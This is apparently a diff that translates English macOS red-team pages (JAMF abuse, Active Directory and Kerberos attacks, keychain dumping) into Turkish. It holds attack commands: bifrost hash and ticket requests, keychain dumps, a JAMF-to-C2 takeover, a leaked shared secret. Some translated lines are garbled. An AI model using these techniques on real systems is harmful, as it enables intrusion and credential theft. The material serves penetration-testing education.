To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed).
|
||||
Cihazı bir MDM'ye kaydetmek için, **`mobileconfig`** dosyasını root olarak yüklemeniz gerekir, bu bir **pkg** dosyası aracılığıyla teslim edilebilir (zip dosyasına sıkıştırabilir ve Safari'den indirildiğinde açılacaktır).
|
||||
|
||||
**Mythic agent Orthrus** uses this technique.
|
||||
**Mythic agent Orthrus** bu tekniği kullanır.
|
||||
|
||||
### Abusing JAMF PRO
|
||||
### JAMF PRO'yu Kötüye Kullanma
|
||||
|
||||
JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...).
|
||||
JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/proses izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
|
||||
|
||||
#### JAMF self-enrolment
|
||||
#### JAMF kendi kendine kayıt
|
||||
|
||||
Go to a page such as `https://<company-name>.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**.
|
||||
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **kendi kendine kaydın etkin olup olmadığını** kontrol edin. Eğer etkinse, **erişim için kimlik bilgileri isteyebilir**.
|
||||
|
||||
You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack.
|
||||
Bir şifre püskürtme saldırısı gerçekleştirmek için [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanabilirsiniz.
|
||||
|
||||
Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form:
|
||||
Ayrıca, uygun kimlik bilgilerini bulduktan sonra, diğer kullanıcı adlarını brute-force ile denemek için aşağıdaki formu kullanabilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
#### JAMF device Authentication
|
||||
#### JAMF Cihaz Kimlik Doğrulaması
|
||||
|
||||
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\
|
||||
Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
**`jamf`** ikili dosyası, keşif anında herkesle **paylaşılan** anahtarı açma sırrını içeriyordu ve bu: **`jk23ucnq91jfu9aj`**.\
|
||||
Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** içinde bir **LaunchDaemon** olarak **kalır**.
|
||||
|
||||
#### JAMF Device Takeover
|
||||
|
||||
The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
This file basically contains the URL:
|
||||
#### JAMF Cihaz Ele Geçirme
|
||||
|
||||
**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** içinde yer almaktadır.\
|
||||
Bu dosya temelde URL'yi içerir:
|
||||
```bash
|
||||
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
||||
|
||||
[...]
|
||||
<key>is_virtual_machine</key>
|
||||
<false/>
|
||||
<key>jss_url</key>
|
||||
<string>https://halbornasd.jamfcloud.com/</string>
|
||||
<key>last_management_framework_change_id</key>
|
||||
<integer>4</integer>
|
||||
<key>is_virtual_machine</key>
|
||||
<false/>
|
||||
<key>jss_url</key>
|
||||
<string>https://halbornasd.jamfcloud.com/</string>
|
||||
<key>last_management_framework_change_id</key>
|
||||
<integer>4</integer>
|
||||
[...]
|
||||
```
|
||||
|
||||
So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2.
|
||||
|
||||
Bu nedenle, bir saldırgan, yüklendiğinde **bu dosyayı üzerine yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'ı C2 olarak kötüye kullanabilir.
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
||||
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
|
||||
```
|
||||
#### JAMF Taklit Etme
|
||||
|
||||
#### JAMF Impersonation
|
||||
Bir cihaz ile JMF arasındaki **ileşimi taklit etmek** için şunlara ihtiyacınız var:
|
||||
|
||||
In order to **impersonate the communication** between a device and JMF you need:
|
||||
- Cihazın **UUID'si**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
- Cihaz sertifikasını içeren **JAMF anahtarı**: `/Library/Application\ Support/Jamf/JAMF.keychain`
|
||||
|
||||
- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate
|
||||
Bu bilgilerle, **ç stolen** Donanım **UUID'si** ile **SIP devre dışı** bırakılmış bir **VM** oluşturun, **JAMF anahtarını** bırakın, Jamf **ajanını** **hook** edin ve bilgilerini çalın.
|
||||
|
||||
With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information.
|
||||
|
||||
#### Secrets stealing
|
||||
#### Gizli Bilgilerin Çalınması
|
||||
|
||||
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**.
|
||||
Ayrıca, yöneticilerin Jamf aracılığıyla çalıştırmak isteyebileceği **özel betikleri** izlemek için `/Library/Application Support/Jamf/tmp/` konumunu da izleyebilirsiniz; çünkü bu betikler **buraya yerleştirilir, çalıştırılır ve kaldırılır**. Bu betikler **kimlik bilgilerini** içerebilir.
|
||||
|
||||
However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root).
|
||||
Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak geçebilir, bu nedenle `ps aux | grep -i jamf` komutunu izlemelisiniz (root olmadan bile).
|
||||
|
||||
The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments.
|
||||
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir.
|
||||
|
||||
### macOS Remote Access
|
||||
### macOS Uzaktan Erişim
|
||||
|
||||
And also about **MacOS** "special" **network** **protocols**:
|
||||
Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında:
|
||||
|
||||
{{#ref}}
|
||||
../macos-security-and-privilege-escalation/macos-protocols.md
|
||||
@ -112,7 +101,7 @@ And also about **MacOS** "special" **network** **protocols**:
|
||||
|
||||
## Active Directory
|
||||
|
||||
In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages:
|
||||
Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görebilirsiniz. Bu senaryoda, aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda bazı **yardım** bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD*
|
||||
../../network-services-pentesting/pentesting-kerberos-88/
|
||||
{{#endref}}
|
||||
|
||||
Some **local MacOS tool** that may also help you is `dscl`:
|
||||
|
||||
Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl` olabilir:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Ayrıca, MacOS için AD'yi otomatik olarak listelemek ve kerberos ile oynamak için hazırlanmış bazı araçlar vardır:
|
||||
|
||||
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
|
||||
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts.
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target.
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
|
||||
|
||||
### Domain Information
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplama ve alma imkanı sağlayan Bloodhound denetim aracının bir uzantısıdır.
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'taki Heimdal krb5 API'leri ile etkileşimde bulunmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden, macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır.
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory listeleme yapmak için JavaScript for Automation (JXA) aracı.
|
||||
|
||||
### Alan Bilgisi
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
### Kullanıcılar
|
||||
|
||||
### Users
|
||||
MacOS kullanıcılarının üç türü vardır:
|
||||
|
||||
The three types of MacOS users are:
|
||||
- **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilir, Active Directory ile herhangi bir bağlantıları yoktur.
|
||||
- **Ağ Kullanıcıları** — Kimlik doğrulamak için DC sunucusuna bağlantı gerektiren geçici Active Directory kullanıcılarıdır.
|
||||
- **Mobil Kullanıcılar** — Kimlik bilgileri ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcılarıdır.
|
||||
|
||||
- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory.
|
||||
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
|
||||
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
|
||||
Kullanıcılar ve gruplar hakkında yerel bilgiler _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
|
||||
Örneğin, _mark_ adlı kullanıcının bilgileri _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında ve _admin_ grubunun bilgileri _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında saklanır.
|
||||
|
||||
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
|
||||
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
|
||||
|
||||
- **CanSSH** - entity allowed to SSH to host
|
||||
- **CanVNC** - entity allowed to VNC to host
|
||||
- **CanAE** - entity allowed to execute AppleEvent scripts on host
|
||||
HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound, Bloodhound veritabanına üç yeni kenar ekler**:
|
||||
|
||||
- **CanSSH** - ana makineye SSH ile bağlanmasına izin verilen varlık
|
||||
- **CanVNC** - ana makineye VNC ile bağlanmasına izin verilen varlık
|
||||
- **CanAE** - ana makinede AppleEvent betikleri çalıştırmasına izin verilen varlık
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
||||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
### Computer$ password
|
||||
|
||||
Get passwords using:
|
||||
### Computer$ şifresi
|
||||
|
||||
Şifreleri almak için:
|
||||
```bash
|
||||
bifrost --action askhash --username [name] --password [password] --domain [domain]
|
||||
```
|
||||
|
||||
It's possible to access the **`Computer$`** password inside the System keychain.
|
||||
**`Computer$`** parolasına Sistem anahtar zincirinde erişmek mümkündür.
|
||||
|
||||
### Over-Pass-The-Hash
|
||||
|
||||
Get a TGT for an specific user and service:
|
||||
|
||||
Belirli bir kullanıcı ve hizmet için bir TGT alın:
|
||||
```bash
|
||||
bifrost --action asktgt --username [user] --domain [domain.com] \
|
||||
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
|
||||
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
|
||||
```
|
||||
|
||||
Once the TGT is gathered, it's possible to inject it in the current session with:
|
||||
|
||||
TGT toplandıktan sonra, mevcut oturuma şu şekilde enjekte etmek mümkündür:
|
||||
```bash
|
||||
bifrost --action asktgt --username test_lab_admin \
|
||||
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
|
||||
--enctype aes256 --domain test.lab.local
|
||||
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
|
||||
--enctype aes256 --domain test.lab.local
|
||||
```
|
||||
|
||||
### Kerberoasting
|
||||
|
||||
```bash
|
||||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
|
||||
With obtained service tickets it's possible to try to access shares in other computers:
|
||||
|
||||
Elde edilen hizmet biletleri ile diğer bilgisayarlardaki paylaşımlara erişim sağlamaya çalışmak mümkündür:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Anahtarlığa Erişim
|
||||
|
||||
## Accessing the Keychain
|
||||
|
||||
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
|
||||
Anahtarlık, bir istem oluşturulmadan erişildiğinde, bir kırmızı takım egzersizini ilerletmeye yardımcı olabilecek hassas bilgileri yüksek olasılıkla içerir:
|
||||
|
||||
{{#ref}}
|
||||
macos-keychain.md
|
||||
{{#endref}}
|
||||
|
||||
## External Services
|
||||
## Harici Hizmetler
|
||||
|
||||
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
|
||||
MacOS Kırmızı Takımı, genellikle **MacOS'un birkaç harici platformla doğrudan entegre olması** nedeniyle, normal bir Windows Kırmızı Takımından farklıdır. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişmek ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws...) erişmektir.
|
||||
|
||||
## Misc Red Team techniques
|
||||
## Çeşitli Kırmızı Takım teknikleri
|
||||
|
||||
### Safari
|
||||
|
||||
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
|
||||
Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik olarak açılacaktır**. Örneğin, eğer **bir zip indirirseniz**, otomatik olarak açılacaktır:
|
||||
|
||||
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
@ -254,12 +227,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
|
||||
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,63 +1,62 @@
|
||||
# macOS Keychain
|
||||
# macOS Anahtarlık
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Main Keychains
|
||||
## Ana Anahtarlıklar
|
||||
|
||||
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
|
||||
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
|
||||
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
|
||||
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
|
||||
- Apps will be restricted in the keychain only to their private area based on their application identifier.
|
||||
- **Kullanıcı Anahtarlığı** (`~/Library/Keychains/login.keychain-db`), uygulama şifreleri, internet şifreleri, kullanıcı tarafından oluşturulan sertifikalar, ağ şifreleri ve kullanıcı tarafından oluşturulan açık/özel anahtarlar gibi **kullanıcıya özgü kimlik bilgilerini** saklamak için kullanılır.
|
||||
- **Sistem Anahtarlığı** (`/Library/Keychains/System.keychain`), WiFi şifreleri, sistem kök sertifikaları, sistem özel anahtarları ve sistem uygulama şifreleri gibi **sistem genelinde kimlik bilgilerini** saklar.
|
||||
- `/System/Library/Keychains/*` içinde sertifikalar gibi diğer bileşenleri bulmak mümkündür.
|
||||
- **iOS**'ta `/private/var/Keychains/` konumunda yalnızca bir **Anahtarlık** bulunmaktadır. Bu klasör ayrıca `TrustStore`, sertifika otoriteleri (`caissuercache`) ve OSCP girişleri (`ocspache`) için veritabanlarını içerir.
|
||||
- Uygulamalar, uygulama tanımlayıcılarına dayalı olarak anahtarlıkta yalnızca özel alanlarına erişimle kısıtlanacaktır.
|
||||
|
||||
### Password Keychain Access
|
||||
### Şifre Anahtarlığı Erişimi
|
||||
|
||||
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
|
||||
Bu dosyalar, doğrudan koruma içermemelerine rağmen **indirilebilir**, şifrelenmiştir ve **şifresinin çözülmesi için kullanıcının düz metin şifresini** gerektirir. Şifre çözme için [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç kullanılabilir.
|
||||
|
||||
## Keychain Entries Protections
|
||||
## Anahtarlık Girişi Koruma
|
||||
|
||||
### ACLs
|
||||
### ACL'ler
|
||||
|
||||
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
|
||||
Anahtarlıkta her giriş, çeşitli eylemleri gerçekleştirebilecek kişileri belirleyen **Erişim Kontrol Listeleri (ACL'ler)** ile yönetilmektedir:
|
||||
|
||||
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
|
||||
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
|
||||
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
|
||||
- **ACLAuhtorizationExportClear**: Sahip olanın sıfır metin gizliliğini almasına izin verir.
|
||||
- **ACLAuhtorizationExportWrapped**: Sahip olanın başka bir sağlanan şifre ile şifrelenmiş sıfır metin almasına izin verir.
|
||||
- **ACLAuhtorizationAny**: Sahip olanın herhangi bir eylemi gerçekleştirmesine izin verir.
|
||||
|
||||
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
|
||||
ACL'ler, bu eylemleri istem olmadan gerçekleştirebilecek **güvenilir uygulamalar listesi** ile birlikte gelir. Bu şunlar olabilir:
|
||||
|
||||
- **N`il`** (no authorization required, **everyone is trusted**)
|
||||
- An **empty** list (**nobody** is trusted)
|
||||
- **List** of specific **applications**.
|
||||
- **N`il`** (yetki gerektirmeyen, **herkes güvenilir**)
|
||||
- **Boş** bir liste (**kimse** güvenilir değil)
|
||||
- Belirli **uygulamaların** **listesi**.
|
||||
|
||||
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
|
||||
Ayrıca giriş, **`ACLAuthorizationPartitionID`** anahtarını içerebilir; bu, **teamid, apple** ve **cdhash**'i tanımlamak için kullanılır.
|
||||
|
||||
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
|
||||
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
|
||||
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
|
||||
- Eğer **teamid** belirtilmişse, **girişin** değerine **istem olmadan** erişmek için kullanılan uygulamanın **aynı teamid**'ye sahip olması gerekir.
|
||||
- Eğer **apple** belirtilmişse, uygulamanın **Apple** tarafından **imzalanmış** olması gerekir.
|
||||
- Eğer **cdhash** belirtilmişse, **uygulama** belirli bir **cdhash**'e sahip olmalıdır.
|
||||
|
||||
### Creating a Keychain Entry
|
||||
### Anahtarlık Girişi Oluşturma
|
||||
|
||||
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
|
||||
Bir **yeni** **giriş** **`Keychain Access.app`** kullanılarak oluşturulduğunda, aşağıdaki kurallar geçerlidir:
|
||||
|
||||
- All apps can encrypt.
|
||||
- **No apps** can export/decrypt (without prompting the user).
|
||||
- All apps can see the integrity check.
|
||||
- No apps can change ACLs.
|
||||
- The **partitionID** is set to **`apple`**.
|
||||
- Tüm uygulamalar şifreleyebilir.
|
||||
- **Hiçbir uygulama** dışa aktaramaz/şifre çözemez (kullanıcıyı istemeden).
|
||||
- Tüm uygulamalar bütünlük kontrolünü görebilir.
|
||||
- Hiçbir uygulama ACL'leri değiştiremez.
|
||||
- **partitionID** **`apple`** olarak ayarlanır.
|
||||
|
||||
When an **application creates an entry in the keychain**, the rules are slightly different:
|
||||
Bir **uygulama anahtarlıkta bir giriş oluşturduğunda**, kurallar biraz farklıdır:
|
||||
|
||||
- All apps can encrypt.
|
||||
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
|
||||
- All apps can see the integrity check.
|
||||
- No apps can change the ACLs.
|
||||
- The **partitionID** is set to **`teamid:[teamID here]`**.
|
||||
- Tüm uygulamalar şifreleyebilir.
|
||||
- Sadece **oluşturan uygulama** (veya açıkça eklenen diğer uygulamalar) dışa aktarabilir/şifre çözebilir (kullanıcıyı istemeden).
|
||||
- Tüm uygulamalar bütünlük kontrolünü görebilir.
|
||||
- Hiçbir uygulama ACL'leri değiştiremez.
|
||||
- **partitionID** **`teamid:[teamID burada]`** olarak ayarlanır.
|
||||
|
||||
## Accessing the Keychain
|
||||
## Anahtarlığa Erişim
|
||||
|
||||
### `security`
|
||||
|
||||
```bash
|
||||
# List keychains
|
||||
security list-keychains
|
||||
@ -74,60 +73,59 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
||||
# Dump specifically the user keychain
|
||||
security dump-keychain ~/Library/Keychains/login.keychain-db
|
||||
```
|
||||
|
||||
### APIs
|
||||
### API'ler
|
||||
|
||||
> [!TIP]
|
||||
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
> **Anahtar zinciri numaralandırma ve gizli bilgilerin dökümü** için **uyarı oluşturmayacak** olanlar, [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracıyla yapılabilir.
|
||||
>
|
||||
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
|
||||
> Diğer API uç noktaları [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) kaynak kodunda bulunabilir.
|
||||
|
||||
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
|
||||
Her anahtar zinciri girişi hakkında **bilgi** listeleyin ve alın, **Security Framework** kullanarak veya Apple'ın açık kaynak cli aracı [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**'yi** kontrol edebilirsiniz. Bazı API örnekleri:
|
||||
|
||||
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
|
||||
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
|
||||
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
|
||||
- **`kSecReturnAttributes`**: Get metadata about entries
|
||||
- **`kSecMatchLimit`**: How many results to return
|
||||
- **`kSecClass`**: What kind of keychain entry
|
||||
- API **`SecItemCopyMatching`** her giriş hakkında bilgi verir ve kullanırken ayarlayabileceğiniz bazı özellikler vardır:
|
||||
- **`kSecReturnData`**: Eğer doğruysa, veriyi şifre çözmeye çalışır (potansiyel açılır pencereleri önlemek için yanlış olarak ayarlayın)
|
||||
- **`kSecReturnRef`**: Anahtar zinciri öğesine referans da alın (daha sonra açılır pencere olmadan şifre çözebileceğinizi görürseniz doğru olarak ayarlayın)
|
||||
- **`kSecReturnAttributes`**: Girişler hakkında meta verileri alın
|
||||
- **`kSecMatchLimit`**: Kaç sonuç döndürüleceği
|
||||
- **`kSecClass`**: Hangi tür anahtar zinciri girişi
|
||||
|
||||
Get **ACLs** of each entry:
|
||||
Her girişin **ACL'lerini** alın:
|
||||
|
||||
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
|
||||
- Description
|
||||
- **Trusted Application List**. This could be:
|
||||
- An app: /Applications/Slack.app
|
||||
- A binary: /usr/libexec/airportd
|
||||
- A group: group://AirPort
|
||||
- API **`SecAccessCopyACLList`** ile **anahtar zinciri öğesi için ACL** alabilirsiniz ve bu, her liste için:
|
||||
- Açıklama
|
||||
- **Güvenilir Uygulama Listesi**. Bu şunlar olabilir:
|
||||
- Bir uygulama: /Applications/Slack.app
|
||||
- Bir ikili: /usr/libexec/airportd
|
||||
- Bir grup: group://AirPort
|
||||
|
||||
Export the data:
|
||||
Verileri dışa aktarın:
|
||||
|
||||
- The API **`SecKeychainItemCopyContent`** gets the plaintext
|
||||
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
|
||||
- API **`SecKeychainItemCopyContent`** düz metni alır
|
||||
- API **`SecItemExport`** anahtarları ve sertifikaları dışa aktarır ancak içeriği şifreli olarak dışa aktarmak için şifre ayarlamanız gerekebilir
|
||||
|
||||
And these are the **requirements** to be able to **export a secret without a prompt**:
|
||||
Ve bu, **uyarı olmadan bir gizli bilgiyi dışa aktarmak** için gereken **şartlardır**:
|
||||
|
||||
- If **1+ trusted** apps listed:
|
||||
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
|
||||
- Need code signature to match **PartitionID**
|
||||
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
|
||||
- If **all applications trusted**:
|
||||
- Need the appropriate **authorizations**
|
||||
- Need code signature to match **PartitionID**
|
||||
- If **no PartitionID**, then this isn't needed
|
||||
- Eğer **1+ güvenilir** uygulama listelenmişse:
|
||||
- Uygun **yetkilendirmelere** ihtiyaç vardır (**`Nil`**, veya gizli bilgiye erişim için yetkilendirme listesinde **yer almak**)
|
||||
- **PartitionID** ile eşleşen kod imzasına ihtiyaç vardır
|
||||
- Bir **güvenilir uygulama** ile eşleşen kod imzasına ihtiyaç vardır (veya doğru KeychainAccessGroup'un üyesi olmalısınız)
|
||||
- Eğer **tüm uygulamalar güvenilir** ise:
|
||||
- Uygun **yetkilendirmelere** ihtiyaç vardır
|
||||
- **PartitionID** ile eşleşen kod imzasına ihtiyaç vardır
|
||||
- Eğer **PartitionID** yoksa, bu gerekli değildir
|
||||
|
